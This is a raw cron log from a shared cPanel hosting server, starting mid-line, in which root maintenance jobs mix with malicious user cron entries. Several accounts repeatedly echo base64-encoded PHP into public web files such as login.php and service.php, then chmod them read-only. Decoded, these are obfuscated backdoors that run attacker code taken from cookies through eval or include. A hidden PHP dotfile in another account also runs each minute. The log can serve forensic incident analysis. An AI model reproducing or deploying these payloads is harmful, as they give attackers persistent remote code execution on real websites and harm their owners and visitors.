KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:49:01 medusa CROND[16434]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:49:01 medusa CROND[16435]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:49:01 medusa CROND[16437]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:49:01 medusa CROND[16438]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:49:01 medusa CROND[16440]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 18:50:01 medusa CROND[8480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 18:50:01 medusa CROND[8491]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 18:50:01 medusa CROND[8497]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:50:01 medusa CROND[8573]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 18:50:01 medusa CROND[8629]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 18:50:02 medusa CROND[8717]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 18:50:02 medusa CROND[8718]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 18:50:02 medusa CROND[8721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:50:02 medusa CROND[8726]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 18:50:02 medusa CROND[8727]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 18:50:02 medusa CROND[8728]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 18:50:02 medusa CROND[8730]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:50:02 medusa CROND[8737]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:50:02 medusa CROND[8738]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:50:02 medusa CROND[8740]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:50:02 medusa CROND[8742]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:50:02 medusa CROND[8743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:50:02 medusa CROND[8744]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 18:50:02 medusa CROND[8747]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 18:50:02 medusa CROND[8745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 18:50:02 medusa CROND[8756]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:50:02 medusa CROND[8734]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 18:50:02 medusa CROND[8762]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 18:50:02 medusa CROND[8761]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:50:02 medusa CROND[8763]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:50:02 medusa CROND[8759]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 18:50:02 medusa CROND[8767]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 18:50:02 medusa CROND[8769]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:50:02 medusa CROND[8770]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 18:50:02 medusa CROND[8748]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 18:51:01 medusa CROND[600]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 18:51:01 medusa CROND[601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:51:01 medusa CROND[603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:51:01 medusa CROND[604]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:51:01 medusa CROND[606]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 18:51:01 medusa CROND[607]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:51:01 medusa CROND[605]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:51:01 medusa CROND[611]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:51:01 medusa CROND[619]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:51:01 medusa CROND[623]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 18:51:01 medusa CROND[626]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
